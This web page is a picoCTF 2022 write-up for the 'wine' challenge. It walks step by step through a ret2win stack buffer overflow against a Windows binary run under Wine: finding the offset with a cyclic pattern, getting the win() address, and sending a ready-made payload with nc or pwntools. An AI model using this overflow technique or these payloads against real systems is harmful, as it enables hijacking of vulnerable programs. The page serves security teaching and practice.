Skip to main content

wine picoCTF 2022 Solution

Exploit a memory corruption vulnerability in a Windows executable to redirect execution and read the flag.

Published: July 20, 2023Updated: August 25, 2026

Description

A 32-bit Windows PE binary served over netcat. The binary calls gets() into a fixed-size stack buffer, which means you can overflow it to overwrite the saved return address and redirect execution to a win() function that prints the flag.

This is a classic ret2win exploit, with the twist that the vulnerable program is a Windows executable running under Wine on the challenge server.

Remote

Download the source and binary from the challenge page.

Install Wine and the mingw cross-compiler so you can run and rebuild the binary locally.

Compile a modified copy of the source that prints the address of win() at startup, so you have a reliable target address for the overflow.

bash
sudo apt-get install wine32 gcc-mingw-w64-i686
bash
# Add a printf("win: %p\n", win); line near the top of main, then recompile:
bash
i686-w64-mingw32-gcc -m32 vuln.c -o vuln_local.exe -no-pie
bash
WINEARCH=win32 WINEPREFIX=~/.wine32 wine vuln_local.exe

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand the vulnerability
    Observation
    The source has a gets() writing into a fixed 128-byte buffer, and a win() that prints the flag. Those are the two ingredients of a ret2win: an unbounded write reaching the saved return address, and a ready-made target to redirect it to.
    The source exposes two functions: vuln(), which calls gets() into a 128-byte stack buffer, and win(), which opens flag.txt and prints it. gets() never checks how many bytes the caller wrote, so anything past the 128-byte buffer overwrites saved registers on the stack including the saved return address (EIP on 32-bit x86). If you replace that address with the address of win(), the CPU jumps to win() instead of returning normally.
    Learn more

    Why gets() is the problem: the C standard deprecated and then removed gets() precisely because it has no length parameter. When vuln() returns, the CPU pops the saved EIP off the stack and jumps to it. Overwriting that slot with any address you control gives you arbitrary code execution.

    On 32-bit x86, the stack frame for a 128-byte local array looks roughly like:

    [ buf: 128 bytes ]
    [ saved EBP: 4 bytes ]   <- +128
    [ saved EIP: 4 bytes ]   <- +132  (overwrite this with win address)

    In practice the compiler may add alignment padding, so the exact offset must be confirmed experimentally.

  2. Step 2Find the offset that controls EIP
    Observation
    Compiler alignment padding can push the saved EIP slot past the theoretical 132 bytes, the buffer plus the saved EBP. Send a De Bruijn cyclic pattern and read the faulting address Wine reports to measure the real offset.
    Generate a De Bruijn cyclic pattern of 150 bytes with pwntools, pipe it into the binary under Wine, and observe the segfault address Wine reports. Feed that address back into pwntools to get the exact byte offset at which the pattern overwrites EIP. For this binary the offset is 140 bytes.
    python
    python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(150))" > pattern.bin
    bash
    WINEARCH=win32 WINEPREFIX=~/.wine32 wine vuln.exe < pattern.bin
    bash
    # Wine prints something like: Unhandled exception: page fault on read access to 0x6261616b
    python
    python3 -c "from pwn import *; print(cyclic_find(0x6261616b))"
    bash
    # Output: 140

    Expected output

    140
    What didn't work first

    Tried: Using gdb with the cyclic pattern instead of running the binary under Wine

    gdb cannot load a Windows PE binary on Linux; it reports the file is not in an executable format and exits. Run the binary under Wine to get the access-violation address, then feed that value to cyclic_find. Wine's unhandled-exception output stands in for gdb's register dump.

    Tried: Hardcoding offset 132 (128-byte buffer plus 4-byte saved EBP) instead of measuring it

    The compiler can insert alignment padding between the buffer and the saved EBP, so the theoretical 132 is often wrong. Send 132 filler bytes and the win() address and EIP ends up part padding, crashing somewhere unintended. Only the measured value of 140 is reliable for this build.

    Learn more

    cyclic(150) produces a pattern where every 4-byte window is unique, so the value Wine reports as the faulting address pinpoints the exact position in the pattern. cyclic_find() converts that value back to a byte offset.

    Wine reports access violations the same way a native Linux binary would trigger a segfault, making it straightforward to use the standard pwntools offset-finding workflow even on Windows PE files.

  3. Step 3Get the win() function address
    Observation
    The build command carries -no-pie, so win() loads at the same address on every run. That means the objdump address can be hardcoded, with no memory leak required.
    Run objdump on the binary to find the address of win(). Because the binary is compiled without PIE, this address is fixed every run. The win() function is located at 0x401530.
    bash
    objdump -d vuln.exe | grep -A2 '<win>'
    bash
    # Look for:  00401530 <win>:

    Expected output

    00401530 <win>:
    What didn't work first

    Tried: Running nm vuln.exe to get the win() address instead of objdump

    nm lists symbol table entries, but on a PE binary under Linux it may show only imports and exports depending on the binutils version, leaving out internal functions like win(). objdump -d disassembles every section and labels each function with its address, which is more reliable for non-exported functions in PE files.

    Tried: Assuming the win() address on the remote server matches the local objdump output even if the binary was compiled with PIE

    With PIE, the loader rebases the binary to a random address each run and the local objdump value is useless remotely. This one is built with -no-pie, so the address holds. Confirm before hardcoding anything: readelf and checksec only read ELF files, so for a PE check the DYNAMIC_BASE bit in the optional header's DllCharacteristics with objdump -x, because a relocatable image needs a leak first.

    Learn more

    Without Position-Independent Executable (PIE) enabled, the binary is loaded at the same base address every time. That makes the win() address a static constant you can hardcode in the exploit rather than needing a leak.

    Alternatively, compile a modified source that calls printf("win: %p\n", win); at startup and run it locally under Wine to confirm the address matches objdump output.

  4. Step 4Craft the exploit and send it to the remote server
    Observation
    The offset measures 140 bytes and win() sits at a fixed 0x401530. Pack those two pieces into a payload, 140 bytes of padding followed by the address little-endian, and pipe it to the remote instance with stdin held open to read the flag.
    Build a payload of 140 'A' bytes (the offset) followed by the 4-byte little-endian address of win() (0x401530). Send this payload to the netcat server. The server's win() function reads flag.txt and prints it.
    bash
    # Quick one-liner (bash):
    bash
    (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*140 + b"\x30\x15\x40\x00")'; cat) | nc saturn.picoctf.net <PORT>
    bash
    bash
    # Or with pwntools:
    python
    python3 -c "
    python
    from pwn import *
    bash
    p = remote('saturn.picoctf.net', <PORT>)
    bash
    win_addr = 0x401530
    bash
    payload = b'A' * 140 + p32(win_addr)
    bash
    p.sendline(payload)
    python
    print(p.recvall().decode())
    bash
    "

    The server prints the flag after the overflow redirects execution into win().

    What didn't work first

    Tried: Packing the win() address as big-endian (b'\x00\x40\x15\x30') in the payload

    x86 is little-endian: the CPU reads a multi-byte value with its least significant byte at the lowest address. Send the bytes big-endian and the address lands reversed, pointing somewhere else entirely and hitting unmapped memory. pwntools p32 always emits little-endian; writing bytes by hand means reversing them yourself.

    Tried: Sending the payload without the (cmd; cat) trick and piping directly: python3 exploit.py | nc ...

    When the Python script finishes, its stdout closes, the pipe closes, and nc receives EOF at once. The server takes the payload and starts printing the flag, but nc has already exited before the response arrives, so you see nothing. Keep stdin open by appending cat, or use pwntools interactive or recvall, and the flag arrives before the connection drops.

    Learn more

    Why little-endian? x86 stores multi-byte integers with the least-significant byte first. The address 0x401530 is packed as the bytes \x30\x15\x40\x00 in memory. pwntools' p32() helper handles this automatically.

    The (cmd; cat) shell trick keeps stdin open after the payload is sent, so you can read the flag output before the connection closes. With pwntools, recvall() waits for the connection to close and buffers all output.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{Un_v3rr3_d3_v1n_...}

The suffix is generated per instance, so yours will differ. The binary prints the full flag once the return address lands on the win function.

Key takeaway

A stack buffer overflow lets an attacker overwrite the saved return address by writing past a fixed-size buffer, so the CPU jumps somewhere of their choosing when the function returns. ret2win is the simplest form: no shellcode, just the address of an existing function that hands over the prize. The same primitive works on a Windows PE under Wine, because the x86 calling convention and stack layout are identical and only the tooling differs. Stack canaries, ASLR, and a non-executable stack each raise the bar, and stopping a determined attacker takes all three, correctly configured.

Related reading

Tools used in this challenge

Where to go next